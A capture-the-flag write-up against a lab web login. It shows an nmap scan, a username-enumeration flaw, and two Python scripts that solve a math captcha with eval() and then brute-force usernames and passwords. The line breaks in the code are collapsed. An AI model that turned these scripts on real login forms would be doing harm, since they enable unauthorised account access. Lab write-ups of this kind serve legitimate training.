Nmap reveals just the port 80 running a http server
root@ip-10-10-109-110:~# nmap -sT 10.10.188.148
Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-23 20:48 BST
Nmap scan report for ip-10-10-188-148.eu-west-1.compute.internal (10.10.188.148)
Host is up (0.00039s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 02:9B:2E:2F:F4:F1 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
Requesting the site, the site immediatly prompts us with a login prompt.
Trying the first entries of the given usernames and password files we receive an error.
With the error message Error: The user ‘rachel’ does not exist, we are able to enumerate the used usernames in the application. This violates against the OWASP Authentication Guidelines
Using any of the authentication mechanisms (login, password reset or password recovery), an application must respond with a generic error message regardless of whether:
The user ID or password was incorrect.
The account does not exist.
The account is locked or disabled.
So the first step to do ist to enumerate the user, with the correct user, we can go further and brute force the corresponding password.
Part of the challenge is to bypass their rate limiter:
SecureSolaCoders has once again developed a web application. They were tired of hackers enumerating and exploiting their previous login form. They thought a Web Application Firewall (WAF) was too overkill and unnecessary, so they developed their own rate limiter and modified the code slightly.
This is implemented with an easy to retrievable captcha which will be solved within the script.
With a wrong captcha we get the error message Error: Invalid captcha. This might come in handy if our script doesn’t evaluate the captcha correctly to filter out false-positives.
Retrieving existing users
So for now we know two error messages we have to check, if we receive a caputure and doesn’t solve it we get the message Error: Invalid captcha, entering a wrong username with correct captcha gives us the error message Error: The user ‘USERNAME’ does not exists.
In Burp the request looks as follows:
We have to submit the variables username, password and captcha in a http-post request.
To retrieve the error messages and the captcha a regex can be used. Crafting regex blind might be challenging, but with the help of regex101 its much easier:
Regex for retrieving error messages non existing user
But looking into the source code, we have to url encode ‘ otherwise our regex wont work
<p class="error"><strong>Error:</strong> The user 'rachel' does not exist
The user '.*' does not exist
import requestsimport revalid_users = []_url ='http://10.10.188.148/login'_captcha_regex =r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"_error_user_regex =r"The user '.*' does not exist"_pass ='rachel'_user ='football'_result =0_data ={'username':_user,'password':_pass,'captcha':_result}# get usernames from file, removing whitespaceswithopen('usernames.txt')as f: users = [line.rstrip()for line in f]# for each user craft a post request with given data, for user enumeration the # password stays staticfor username in users:# start with an invalid request to retrive the captcha response = requests.post(_url, _data) text = response.text# get the captcha captchas = re.findall(_captcha_regex,text)# evaluate the captcha result =eval(captchas[0]) data ={'username':username,'password':_pass,'captcha':result} response = requests.post(_url, data) text = response.text captchas = re.findall(_captcha_regex,text)# find existing userif(len(re.findall(_error_user_regex, text))==0): valid_users.append(username)print(valid_users)
Running our script takes a second and we get the user natalie
Retrieving corresponding password
Now we start over again, entering the username natalie with a valid captcha to check for the invalid password error message, to craft another regex. With this we repeat the requests until we receive a response without any error messages and print the http response.
Error message Error: Invalid password for user ‘natalie’
Invalid password for user '.*'
For the purpose of finding the correct password we can reuse our previous loop with slightly modifications.
capture.py
import requestsimport revalid_users = []_url ='http://10.10.188.148/login'_path_users_file ='usernames.txt'_path_passwords_file ='passwords.txt'_captcha_regex =r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"_error_user_regex =r"The user '.*' does not exist"_error_password_regex =r"Invalid password for user '.*'"_error_captcha_regex =r"Invalid captcha"_pass ='rachel'_user ='football'_result =0_data ={'username':_user,'password':_pass,'captcha':_result}# get usernames from file, removing whitespaceswithopen(_path_users_file)as f: users = [line.rstrip()for line in f]# for each user craft a post request with given data, for user enumeration the # password stays staticfor username in users:# start with an invalid request to retrive the captcha response = requests.post(_url, _data) text = response.text# get the captcha captchas = re.findall(_captcha_regex,text)# evaluate the captcha result =eval(captchas[0]) data ={'username':username,'password':_pass,'captcha':result} response = requests.post(_url, data) text = response.text captchas = re.findall(_captcha_regex,text)# find existing userif(len(re.findall(_error_user_regex, text))==0andlen(re.findall(_error_captcha_regex, text))==0): valid_users.append(username)print(valid_users)withopen(_path_passwords_file)as f: passwords = [line.rstrip()for line in f]# for each valid user try all passwords until no error messages resolvefor valid_user in valid_users:for password in passwords: response = requests.post(_url, _data) text = response.text captchas = re.findall(_captcha_regex,text) result =eval(captchas[0]) data ={'username':valid_user,'password':password,'captcha':result} response = requests.post(_url, data) text = response.text captchas = re.findall(_captcha_regex,text)if(len(re.findall(_error_password_regex, text))==0andlen(re.findall(_error_captcha_regex, text))==0):print(valid_user +" : "+ password)print(text)break